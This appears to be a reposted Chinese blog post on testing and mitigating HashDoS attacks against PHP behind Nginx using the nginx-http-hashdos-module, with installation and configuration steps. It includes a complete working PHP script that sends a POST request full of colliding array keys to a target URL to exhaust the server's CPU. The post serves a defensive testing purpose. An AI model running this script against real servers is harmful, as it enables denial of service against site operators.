nginx防hashdos攻击测试
来源:互联网 发布:php微信扫码支付源码 编辑:程序博客网 时间:2024/05/20 20:45
环境:
Red Hat 3.4.6-11
PHP 5.2.13
Nginx 1.4.3
nginx-http-hashdos-module下载及安装:
攻击
一般情况下攻击者可以通过一些方法间接构造哈希表来进行攻击。例如PHP会将接收到的HTTP POST请求中的数据构造为$_POST,而这是一个Array,内部就是通过Zend HashTable表示,因此攻击者只要构造一个含有大量碰撞key的post请求,就可以达到攻击的目的。具体做法不再演示。
防护
nginx-http-hashdos-module,通过设置hashdos(默认on)的开关和body_max_count(默认值1000),对nginx后面的服务进行安全防护。
下载
wget --no-check-certificatehttps://github.com/54chen/nginx-http-hashdos-module/zipball/master
mv master nginx_hashdos.zip
unzip nginx_hashdos.zip
编译安装进Nginx
./configure --add-module=path/to/54chen-nginx-http-hashdos-module-f84d909
make && make install
配置注意事项
在http段,增加如下:
hashdos on;
body_max_count 1000;
在各自的location段,要按照业务情况来加:
client_body_buffer_size 2m;
client_max_body_size 2m;
*上述两个值一定要相等。
如果是普通的discuz,上传上限是1m的,可以修改为1m。
如果是没有上传功能的普通网站,建议修改为512k。
下面开始测试啦!
hashdos攻击测试代码:
<?php// 目标地址// 只要目标地址存在,不用管它是干嘛的$host ='http://testxx.com:8800/index.php'; $data = '';$size = pow(2, 15);for ($key=0, $max=($size-1)*$size;$key<=$max; $key+=$size){ $data .= '&array[' . $key . ']=0';} $ret = curl($host, ltrim($data,'&'));var_dump($ret); function curl($url, $post, $timeout = 30){ $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:')); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); $output = curl_exec($ch); if ($output === false) return false; $info = curl_getinfo($ch); $http_code = $info['http_code']; if ($http_code == 404) return false; curl_close($ch); return $output;}?>
未安装nginx-http-hashdos-module前,运行攻击脚本,cpu很快到100%。
安装nginx-http-hashdos-module后,cpu没有明显变化。测试端返回http413错误(请求实体太大):
我们来看看nginx的error日志,攻击被拦截了:
原理:
nginx-reqeust-body在接到请求时,根据header中的声明,判断是保存在内存还是在硬盘中,当大小超过两个buf和client_body_buffer_size大小时,会写入临时文件。
防止hashdos的终极目标是filter用户的输入,所以对用户的输入参数数量进行计数。超过1000(body_max_count的默认数量)时,返回一个413给攻击者。
资料参考(转载):http://www.gaojinbo.com/php-hashdos%E6%94%BB%E5%87%BB%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95.html
- nginx防hashdos攻击测试
- WEB安全:HashDos攻击
- Nginx防攻击杀手锏
- nginx 防 CC 攻击
- Nginx下防CC和DDOS攻击
- Nginx防攻击工具教程一 ngx_http_limit_conn_module
- Nginx下防CC和DDOS攻击
- Nginx防攻击工具教程一 ngx_http_limit_conn_module
- nginx ngx_http_limit_req_module 简单防下CC攻击
- OpenResty(nginx扩展)实现防cc攻击
- 防攻击
- nginx利用limit模块设置IP并发防CC攻击
- 服务器数据库系列 - Nginx防攻击的三种方法
- Apache的防攻击
- 防注入攻击指南
- 防SQL注入攻击
- 防注入攻击指南
- 防SSLtrip攻击解决方案
- CSS色彩大全-终于叫出这些色的名字了...
- 第十七周-(项目一(2))从大到小排列三个整数。(指针方法)
- android输入法弹出后,不影响activity原有布局
- 数据库名,全局数据库名,SID区别
- JSP编码问题浅析
- nginx防hashdos攻击测试
- Java 集合参数处理(转换Objcet对象)
- Windows系统下配置Android NDK开发环境
- Android中EditText属性
- node.js后台启动
- cocos2d-x学习笔记番外篇05:
- OpenCart之热卖商品(BestSellers)模块教程
- 显卡与分辨率的关系
- 使用Crowd实现单点登录2——配置应用